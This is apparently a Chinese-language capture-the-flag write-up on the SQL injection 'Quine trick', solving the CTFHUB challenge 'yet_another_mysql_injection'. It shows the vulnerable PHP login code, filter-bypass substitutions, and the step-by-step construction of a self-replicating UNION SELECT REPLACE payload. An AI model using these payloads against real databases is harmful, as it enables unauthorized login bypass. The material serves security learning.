SQL 注入之 Quine trick
Quine trick 是一种让 SQL 输入与输出相同的技巧,原理不难,但是实际施行起来比较繁琐。
以 CTFHUB 上的“yet_another_mysql_injection”这题为例,这题中先是有一些过滤,其中过滤绕过如下:
空格 -> /**/
= -> like
<>(大于小于号) -> least(),greatest()
substr -> mid
in -> like('admi%')
题目源码如下
function checkSql($s) {
if(preg_match("/regexp|between|in|flag|=|>|<|and|\||right|left|reverse|update|extractvalue|floor|substr|&|;|\\\$|0x|sleep|\ /i",$s)){
alertMes('hacker', 'index.php');
}
}
if (isset($_POST['username']) && $_POST['username'] != '' && isset($_POST['password']) && $_POST['password'] != '') {
$username=$_POST['username'];
$password=$_POST['password'];
if ($username !== 'admin') {
alertMes('only admin can login', 'index.php');
}
checkSql($password);
$sql="SELECT password FROM users WHERE username='admin' and password='$password';";
$user_result=mysqli_query($con,$sql);
$row = mysqli_fetch_array($user_result);
if (!$row) {
alertMes("something wrong",'index.php');
}
if ($row['password'] === $password) {
die($FLAG);
} else {
alertMes("wrong password",'index.php');
}
}
其中比较重要是这两条,一是给了 sql 的查询语句,而是给了输出 flag 的条件
$sql="SELECT password FROM users WHERE username='admin' and password='$password';";
if ($row['password'] === $password)
表面上看$row['password'] === $password
只要使用盲注就可以绕过,但是这题的 user 表实际上是空的,所以盲注出的结果实际上也是错的,所以这里要使用的就是 quine 技巧。
这里先给出一个原题目的 payload
union/**/SELECT/**/REPLACE(REPLACE('"/**/union/**/SELECT/**/REPLACE(REPLACE(".",CHAR(34),CHAR(39)),CHAR(46),".")',CHAR(34),CHAR(39)),CHAR(46),'"/**/union/**/SELECT/**/REPLACE(REPLACE(".",CHAR(34),CHAR(39)),CHAR(46),".")')
这段 payload 的核心部分在 sql 里的执行结果是这样的
MySQL localhost:3306 ssl SQL > SELECT REPLACE('REPLACE(".",CHAR(46),".")',CHAR(46),'REPLACE(".",CHAR(46),".")');
+---------------------------------------------------------------------------+
| REPLACE('REPLACE(".",CHAR(46),".")',CHAR(46),'REPLACE(".",CHAR(46),".")') |
+---------------------------------------------------------------------------+
| REPLACE("REPLACE(".",CHAR(46),".")",CHAR(46),"REPLACE(".",CHAR(46),".")") |
+---------------------------------------------------------------------------+
1 row in set (0.0005 sec)
可以见得其输入输出都是一致的,从而可以达到绕过===
的结果
先从 REPLACE 的基础形式开始说起
REPLACE("str",编码间隔符,"str");
要构造一个 quine,就要先从 str 开始构造
基本形式
REPLACE('.',CHAR(46),'.');
这时将 str 构造为
REPLACE(".",CHAR(46),".")
带入基本形式有
REPLACE('REPLACE(".",CHAR(46),".")',CHAR(46),'REPLACE(".",CHAR(46),".")');
此时,便构造了一个 quine
但是这里还有一个问题,就是输出后语句单双引号是不同的,这时便要对我们构造的 quine 进行一个升级。
就是额外是添加对于单双引号的替换
REPLACE(".",CHAR(34),CHAR(39));
此时的基本语句也变为
REPLACE(REPLACE(".",CHAR(34),CHAR(39)),CHAR(46),".")
(34 是双引号的编码,39 是的单引号的编码)
接着开始构造 str
REPLACE(REPLACE(".",CHAR(34),CHAR(39)),CHAR(46),".")
构造完整 payload
REPLACE(REPLACE('REPLACE(REPLACE(".",CHAR(34),CHAR(39)),CHAR(46),".")',CHAR(34),CHAR(39)),CHAR(46),'REPLACE(REPLACE(".",CHAR(34),CHAR(39)),CHAR(46),".")');
至此,完成了对 quine 的完整构造。
回到题目
$sql="SELECT password FROM users WHERE username='admin' and password='$password';";
if ($row['password'] === $password)
根据题目中的条件进行 str 构造
"UNION/**/SELECT/**/REPLACE(REPLACE(".",CHAR(34),CHAR(39)),CHAR(46),".")#
此时的基本形式为
'UNION/**/SELECT/**/REPLACE(REPLACE('.',CHAR(34),CHAR(39)),CHAR(46),'.')#
代入有
'UNION/**/SELECT/**/REPLACE(REPLACE('"UNION/**/SELECT/**/REPLACE(REPLACE(".",CHAR(34),CHAR(39)),CHAR(46),".")#',CHAR(34),CHAR(39)),CHAR(46),'"UNION/**/SELECT/**/REPLACE(REPLACE(".",CHAR(34),CHAR(39)),CHAR(46),".")#')#
获得 flag
参考资料: